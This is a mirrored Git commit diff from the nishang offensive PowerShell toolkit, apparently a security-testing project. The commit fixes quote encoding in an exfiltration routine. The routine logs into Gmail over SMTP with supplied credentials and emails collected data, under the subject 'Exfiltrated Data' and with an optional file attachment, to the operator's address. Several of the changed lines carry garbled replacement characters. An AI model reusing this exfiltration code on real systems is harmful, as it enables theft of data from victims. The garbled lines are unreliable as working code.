mirror of
https://github.com/samratashok/nishang
synced 2026-06-08 17:20:25 +00:00
Fixed some encoding issues
This commit is contained in:
@@ -147,13 +147,13 @@ https://github.com/samratashok/nishang
|
||||
elseif ($exfiloption -eq "gmail")
|
||||
{
|
||||
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
|
||||
$smtpserver = “smtp.gmail.com”
|
||||
$smtpserver = "smtp.gmail.com"�
|
||||
$msg = new-object Net.Mail.MailMessage
|
||||
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
|
||||
$smtp.EnableSsl = $True
|
||||
$smtp.Credentials = New-Object System.Net.NetworkCredential(“$username”, “$password”);
|
||||
$msg.From = “$username@gmail.com”
|
||||
$msg.To.Add(”$username@gmail.com”)
|
||||
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username"�, "$password"�);
|
||||
$msg.From = "$username@gmail.com"�
|
||||
$msg.To.Add("�$username@gmail.com"�)
|
||||
$msg.Subject = "Exfiltrated Data"
|
||||
$msg.Body = $Data
|
||||
if ($filename)
|
||||
|
||||
Reference in New Issue
Block a user